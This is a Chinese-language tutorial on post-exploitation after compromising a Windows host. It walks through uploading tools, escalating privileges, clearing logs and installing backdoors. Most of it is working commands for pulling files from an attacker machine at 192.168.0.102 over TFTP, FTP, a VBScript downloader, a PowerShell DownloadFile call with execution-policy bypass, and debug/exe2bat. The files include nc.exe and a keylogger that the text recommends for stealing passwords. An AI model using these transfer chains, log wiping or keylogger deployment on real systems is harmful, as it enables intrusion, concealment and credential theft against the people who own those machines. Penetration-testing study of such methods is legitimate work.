先來解釋一下什么是后漏洞利用階段。就是經過一系列簡單或者復雜的操作后,你已經獲取了目標機器當前的管理員權限,但是你這個管理員權限不一定一直會有效,說不定目標機器的主人明天就更新補丁,就把現有的一些緩沖區溢出的漏洞封死了。
所以我們要在還能擁有權限的這段時間,給自己開一個長久有效的后門。
后漏洞利用階段:操作步驟
一般在后漏洞利用階段,我們主要做這些操作:
- 上傳工具
- 提權
- 擦除攻擊痕跡
- 安裝后門:4.1 長期控制、4.2 dump密碼、4.3 內網滲透
上傳工具很容易理解,目標機器畢竟不是我們自己的,有我們所有需要的工具,目標機器現有的工具也不一定能滿足你的需要,所以要根據實際情況,往目標機器里傳入一些用于實現后續目的的工具。
提權是因為你進入目標機器,不一定是以管理員的身份進入,也許只是以普通用戶的身份進入,這時候就需要想其他辦法提升當前賬號的權限,或者給自己弄一個管理員賬號。不然后續的很多操作可能都會受到限制。
擦除攻擊痕跡是比較重要的一個步驟,不管是操作系統的日志,還是應用程序的日志,都需要清理干凈。我們前期的掃描、攻擊動作,都會在目標系統留下相應的記錄,就拿前面對SLmail的攻擊作為例子,在目標機器的日志中會有對應的記錄:
攻擊機在目標機器留下的記錄
最后安裝后門,就是我們的最終目的。
后漏洞利用階段:難點
后漏洞利用階段最大的挑戰是防病毒軟件。防病毒軟件都有很豐富的特征庫,只要匹配上特征庫,就會被當成病毒或者漏洞進行處理。而前面的操作,很多都會被防病毒軟件識別出來并修改。
為了防止被防病毒軟件的特征庫匹配上,我們在選用傳給目標機器的軟件時,盡量選用合法的遠程控制軟件。比如目標機器是linux系統的話,curl和wget一般是所有Linux系統都會預裝的工具,通過這兩個工具很容易就能完成其他工具或者木馬的下載安裝,或者安裝一個netcat,也就能完成很多騷操作。而windows系統的dos界面的預裝下載工具,其實是比較少接觸和使用的,很多人都習慣了Windows圖形化界面的工具。
后漏洞利用階段:Windows的目標機器
像前面利用SLmail緩沖區溢出獲取的遠程控制,也就是shell,是一種非交互模式shell,類似nc的遠程控制shell,
非交互模式shell和交互模式shell比較明顯的不同有以下幾點:
- 不能通過tab鍵進行命令補全,非交互模式shell必須手敲完整命令;
- 在非交互模式shell里面執行一個子命令,比如輸入Python,無法進入對應的控制臺。
非交互模式shell無法進入子命令
所以我們要盡量實現交互模式的遠程控制。只是獲得了非交互式模式的遠程控制,對于我們后續的操作還是有一些限制的。所以接下來我們主要介紹一些將工具傳給目標主機的方法。
往Windows傳文件:TFTP
TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一個傳輸文件的簡單協議,絕大多數情況下基于UDP協議而實現,也不排除有部分TFTP協議是基于其它傳輸協議完成的。用來在客戶機與服務器之間進行簡單文件傳輸,提供不復雜、開銷不大的文件傳輸服務。端口號為69。
TFTP沒有身份校驗的功能,所以沒有成為主流的傳輸工具。現在主流的windows10是需要單獨添加TFTP服務的,不能直接使用。以前的windowsXp是默認預裝的,不過現在應該很少有人用xp了。而且現在的邊界防火墻一般都會將tftp的數據包過濾掉,所以TFTP使用場景其實還是有些局限性的。
如何在windows10安裝TFTP就不在這里展開了,網上有比較詳細的教程帖子。這里主要演示將kali作為服務器,在windows環境下載服務器上的文件。
先要在作為服務器的機器上創建一個根目錄,這個目錄用于存放各種遠程控制軟件:
mkdir /tftp
修改tftp文件夾的擁有者,讓誰都可以訪問:
chown -R nobody /tftp/
找一些kali里默認存放著的一些控制工具到tftp文件夾:
cp /usr/share/windows-binaries/nc.exe /tftp
在
/usr/share/windows-binaries/目錄下,存放了一些為windows機器準備的一些安裝程序。
啟動tftp的服務:
atftpd --daemon --port 69 /tftp
參數--daemon表示在后臺運行,后面的--port就是指定端口。
可以通過檢查端口來判斷tftp的服務是否啟動:
netstat -pantu | grep 69
需要注意的一點是,如果你的檢查結果顯示(最右邊那項)進程不是atftpd,可能是你的權限還有問題,沒有將tftp文件夾和里面的所有文件的擁有者改成nobody。
當然就算檢查結果顯示進程是atftpd,如果tftp文件夾里的文件不是nobody,后面其他機器想要下載也會有問題。所以只要有文件放入tftp文件夾,就執行一下上面修改文件擁有者的命令:
修改文件的權限
然后就可以在Windows機器去下載kali里的文件了:
tftp -i 192.168.0.102 get nc.exe
這里介紹兩個kali里為Windows機器準備的三個程序。第一個是nc.exe,它的功能和netcat類似;第二個是whoami.exe,可以檢查當前使用賬戶的權限;第三個是klogger.exe,一旦運行,就會記錄所有鍵盤的敲擊,對于盜取賬戶密碼應該是很挺有用的。
往Windows傳文件:FTP
kali默認是沒有預裝ftp工具的,所以需要自己選擇一個ftp工具進行安裝。ftp的工具有很多,比如vsftpd、pure-ftpd等等,這里使用的是vsftpd。
安裝比較簡單,直接一個命令就可以:
apt-get install vsftpd
如果下載不成功的話,可以到/etc/apt/sources.list文件里修改一下源地址。
vsftpd常用的命令如下:
# 啟動服務
service vsftpd start
# 查看服務
service vsftpd status
# 停止服務
service vsftpd stop
# 重新啟動服務
service vsftpd restart
可以先啟動一下,看看能不能順利啟動:
檢查vsftpd安裝是否正確
接下來先要創建一個用于上傳下載的目錄,要給創建的這個目錄修改一下權限,因為實際使用中會創建、修改文件,我這邊圖簡便就直接777了:
創建上傳/下載的目錄
然后需要新建用戶并設置密碼:
新建用戶
如果不明白useradd各個參數的使用,可以通過-h看一下使用說明。這里-d表示設置新用戶的home目錄,-s表示新用戶的登錄方式。
修改配置文件vsftpd.conf:
控制用戶登錄
還有將vsftpd.conf文件里的這個注釋取消:
取消注釋
取消這個注釋是為了能夠寫入文件。
前面配置的時候是用/root/allowed_users文件來控制登錄,那就要到對應位置創建文件:
設置登錄用戶
在配置了登錄用戶后,你可能會發現這些用戶還是無法登錄,那你就可以到黑名單文件看一下,你的用戶是否在黑名單上面:
cat /etc/ftpusers
完成上述配置后重啟一下vsftpd的服務,讓配置生效:
重啟vsftpd服務
這個時候已經可以正常使用ftp了,先在本地試一下:
本地使用ftp
換到windows環境下訪問ftp:
ftp://ftpuser:ftpuser@192.168.0.102
別用瀏覽器直接輸入命令,大概率會出現問題,到“我的電腦”地址欄輸入命令,或者也可以使用ftp工具(Windows自帶ftp工具)。
這里可能有些同學會想到我們最開始獲取的都是非交互模式shell,無法正常完成賬戶名、密碼的驗證,也沒有圖形化界面可以使用。
其實可以換個思路,將所有目標機器上要執行的ftp命令,都寫到目標機器的文本文件里,最后使用Windows上的ftp命令調用前面寫的文本文件:
在目標機器制作ftp.txt文件
讓ftp讀取文本中的相關指令:
執行ftp.txt
可以查看一下是否獲取到文件:
查看獲取到的文件
往Windows傳文件:vbscript
vbscript能實現的功能很多,這里就演示一個讓目標主機通過http訪問我預先準備好的地址,將事先準備好的軟件下載到目標主機。
因為要通過http訪問,所以要啟動一個服務,這里使用kali中自帶的Apache服務:
service apache2 start
apache服務的默認目錄在:/var/www/html,將要傳給目標主機的軟件移動或者復制到這個目錄:
將軟件存入預定位置
生成vbscript的腳本的命令如下:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strUrl, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
最后生成的vbscript腳本是這樣的:
vbscript腳本
執行的時候需要使用cscript工具:
cscript wget.vbs http://192.168.0.102/whoami.exe whoami.exe
查看軟件是否被下載:
檢查下載的軟件
往Windows傳文件:powershell
vbscript相對以前,其實不是很被推崇了,現在比較新的Windows系統,都是推薦使用powershell,所以這里也介紹一種powershell傳輸軟件的方式。
腳本比較簡單:
$storngeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = 'http://192.168.0.102/whoami.exe'
$file = 'D:w.exe'
$webclient.DownloadFile($url, $file)
在已經開啟http服務的情況下,在Windows環境通過命令執行上面這個腳本:
powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
如果執行的時候遇到“遠程服務器返回錯誤: (403) 已禁止。”,那應該是源文件的權限有問題,用chmod命令去修改一下權限就可以了。
執行命令中的一些參數-ExecutionPolicy主要是為了允許本地執行powershell腳本,感興趣的可以通過-Help看一下幫助說明。
上面的腳本其實可以省略,直接在dos界面執行一個長命令:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.102/whoami.exe', 'D:w.exe')
也能達到同樣的效果:
下載軟件
如果本地的執行策略比較嚴格,還是需要加上前面的那些參數。
還有powershell能使用的模塊很多,不一定要用System.Net.WebClient,還有Invoke-WebRequest、Invoke-RestMethod、Start-BitTransfer都能達到同樣的效果。具體使用哪一個模塊,主要看你控制的機器具體版本,一般都是有什么用什么。
往Windows傳文件:debug
Debug工具是windows用來做匯編等的一個工具。在新一點的Windows10已經沒有了,早一些的WindowsXp還是有的。如果你的目標機器是Windows10的系統,且現有條件讓你必須使用debug,那你必須給目標機器安裝一個debug工具,這就變成先有雞還是先有蛋的問題了。不是很推薦debug這種方式傳輸軟件。
先將要傳遞的軟件進行壓縮:
upx -9 whoami.exe
壓縮不是必須的,只是當文件太大的時候,debug就無法轉換成功,debug最大只能是64Kb。
用工具exe2bat.exe轉換一下:
wine /usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt
由于這個工具是Windows環境的,所以要通過wine工具來運行。可以看到輸出的文檔:
cat whoami.txt
在已經獲取的非交互模式shell中,直接執行輸出txt文檔里面的內容,除最后兩行外。
執行完之后,在被控制的目標機器上就會有一個123.hex文件:
目標機器生成123.hex
然后執行倒數第二行命令debug<123.hex,Windows就會進行一個匯編的工程,最終輸出一個1.DLL文件,這個文件其實就是原來的exe文件。最后就是執行最后一行命令copy 1.dll whoami.exe,將文件還原成exe的可執行文件。